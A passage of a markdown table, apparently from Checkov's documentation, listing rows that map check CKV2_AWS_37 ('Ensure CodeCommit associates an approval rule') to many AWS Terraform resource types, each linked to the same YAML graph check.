[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1530 | CKV2_AWS_37     | resource | aws_networkmanager_dx_gateway_attachment                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1531 | CKV2_AWS_37     | resource | aws_networkmanager_global_network                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1532 | CKV2_AWS_37     | resource | aws_networkmanager_link                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1533 | CKV2_AWS_37     | resource | aws_networkmanager_link_association                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1534 | CKV2_AWS_37     | resource | aws_networkmanager_site                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1535 | CKV2_AWS_37     | resource | aws_networkmanager_site_to_site_vpn_attachment                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1536 | CKV2_AWS_37     | resource | aws_networkmanager_transit_gateway_connect_peer_association      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1537 | CKV2_AWS_37     | resource | aws_networkmanager_transit_gateway_peering                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1538 | CKV2_AWS_37     | resource | aws_networkmanager_transit_gateway_registration                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1539 | CKV2_AWS_37     | resource | aws_networkmanager_transit_gateway_route_table_attachment        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1540 | CKV2_AWS_37     | resource | aws_networkmanager_vpc_attachment                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1541 | CKV2_AWS_37     | resource | aws_networkmonitor_monitor                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1542 | CKV2_AWS_37     | resource | aws_networkmonitor_probe                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1543 | CKV2_AWS_37     | resource | aws_oam_link                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1544 | CKV2_AWS_37     | resource | aws_oam_sink                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1545 | CKV2_AWS_37     | resource | aws_oam_sink_policy                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1546 | CKV2_AWS_37     | resource | aws_opensearch_authorize_vpc_endpoint_access                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1547 | CKV2_AWS_37     | resource | aws_opensearch_domain                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1548 | CKV2_AWS_37     | resource | aws_opensearch_domain_policy                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1549 | CKV2_AWS_37     | resource | aws_opensearch_domain_saml_options                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1550 | CKV2_AWS_37     | resource | aws_opensearch_inbound_connection_accepter                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1551 | CKV2_AWS_37     | resource | aws_opensearch_outbound_connection                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1552 | CKV2_AWS_37     | resource | aws_opensearch_package                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1553 | CKV2_AWS_37     | resource | aws_opensearch_package_association                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1554 | CKV2_AWS_37     | resource | aws_opensearch_vpc_endpoint                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1555 | CKV2_AWS_37     | resource | aws_opensearchserverless_access_policy                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1556 | CKV2_AWS_37     | resource | aws_opensearchserverless_collection                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1557 | CKV2_AWS_37     | resource | aws_opensearchserverless_lifecycle_policy                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1558 | CKV2_AWS_37     | resource | aws_opensearchserverless_security_config                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1559 | CKV2_AWS_37     | resource | aws_opensearchserverless_security_policy                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1560 | CKV2_AWS_37     | resource | aws_opensearchserverless_vpc_endpoint                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1561 | CKV2_AWS_37     | resource | aws_opsworks_application                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1562 | CKV2_AWS_37     | resource | aws_opsworks_custom_layer                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1563 | CKV2_AWS_37     | resource | aws_opsworks_ecs_cluster_layer                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1564 | CKV2_AWS_37     | resource | aws_opsworks_ganglia_layer                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1565 | CKV2_AWS_37     | resource | aws_opsworks_haproxy_layer                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1566 | CKV2_AWS_37     | resource | aws_opsworks_instance                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1567 | CKV2_AWS_37     | resource | aws_opsworks_java_app_layer                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1568 | CKV2_AWS_37     | resource | aws_opsworks_memcached_layer                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1569 | CKV2_AWS_37     | resource | aws_opsworks_mysql_layer                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1570 | CKV2_AWS_37     | resource | aws_opsworks_nodejs_app_layer                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1571 | CKV2_AWS_37     | resource | aws_opsworks_permission                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1572 | CKV2_AWS_37     | resource | aws_opsworks_php_app_layer                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1573 | CKV2_AWS_37     | resource | aws_opsworks_rails_app_layer                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1574 | CKV2_AWS_37     | resource | aws_opsworks_rds_db_instance                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1575 | CKV2_AWS_37     | resource | aws_opsworks_stack                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1576 | CKV2_AWS_37     | resource | aws_opsworks_static_web_layer                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1577 | CKV2_AWS_37     | resource | aws_opsworks_user_profile                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1578 | CKV2_AWS_37     | resource | aws_organizations_account                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1579 | CKV2_AWS_37     | resource | aws_organizations_delegated_administrator                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1580 | CKV2_AWS_37     | resource | aws_organizations_organization                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1581 | CKV2_AWS_37     | resource | aws_organizations_organizational_unit                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1582 | CKV2_AWS_37     | resource | aws_organizations_policy                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1583 | CKV2_AWS_37     | resource | aws_organizations_policy_attachment                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1584 | CKV2_AWS_37     | resource | aws_organizations_resource_policy                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1585 | CKV2_AWS_37     | resource | aws_osis_pipeline                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1586 | CKV2_AWS_37     | resource | aws_paymentcryptography_key                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1587 | CKV2_AWS_37     | resource | aws_paymentcryptography_key_alias                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1588 | CKV2_AWS_37     | resource | aws_pinpoint_adm_channel                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1589 | CKV2_AWS_37     | resource | aws_pinpoint_apns_channel                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1590 | CKV2_AWS_37     | resource | aws_pinpoint_apns_sandbox_channel                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1591 | CKV2_AWS_37     | resource | aws_pinpoint_apns_voip_channel                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1592 | CKV2_AWS_37     | resource | aws_pinpoint_apns_voip_sandbox_channel                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1593 | CKV2_AWS_37     | resource | aws_pinpoint_app                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1594 | CKV2_AWS_37     | resource | aws_pinpoint_baidu_channel                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1595 | CKV2_AWS_37     | resource | aws_pinpoint_email_channel                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1596 | CKV2_AWS_37     | resource | aws_pinpoint_email_template                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1597 | CKV2_AWS_37     | resource | aws_pinpoint_event_stream                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1598 | CKV2_AWS_37     | resource | aws_pinpoint_gcm_channel                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1599 | CKV2_AWS_37     | resource | aws_pinpoint_sms_channel                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1600 | CKV2_AWS_37     | resource | aws_pinpointsmsvoicev2_configuration_set                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1601 | CKV2_AWS_37     | resource | aws_pinpointsmsvoicev2_opt_out_list                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1602 | CKV2_AWS_37     | resource | aws_pinpointsmsvoicev2_phone_number                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1603 | CKV2_AWS_37     | resource | aws_pipes_pipe                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1604 | CKV2_AWS_37     | resource | aws_placement_group                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1605 | CKV2_AWS_37     | resource | aws_prometheus_alert_manager_definition                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1606 | CKV2_AWS_37     | resource | aws_prometheus_rule_group_namespace                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1607 | CKV2_AWS_37     | resource | aws_prometheus_scraper                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1608 | CKV2_AWS_37     | resource | aws_prometheus_workspace                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1609 | CKV2_AWS_37     | resource | aws_proxy_protocol_policy                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1610 | CKV2_AWS_37     | resource | aws_qldb_ledger                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1611 | CKV2_AWS_37     | resource | aws_qldb_stream                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1612 | CKV2_AWS_37     | resource | aws_quicksight_account_subscription                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1613 | CKV2_AWS_37     | resource | aws_quicksight_analysis                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1614 | CKV2_AWS_37     | resource | aws_quicksight_dashboard                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1615 | CKV2_AWS_37     | resource | aws_quicksight_data_set                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1616 | CKV2_AWS_37     | resource | aws_quicksight_data_source                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1617 | CKV2_AWS_37     | resource | aws_quicksight_folder                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1618 | CKV2_AWS_37     | resource | aws_quicksight_folder_membership                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1619 | CKV2_AWS_37     | resource | aws_quicksight_group                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1620 | CKV2_AWS_37     | resource | aws_quicksight_group_membership                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1621 | CKV2_AWS_37     | resource | aws_quicksight_iam_policy_assignment                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | 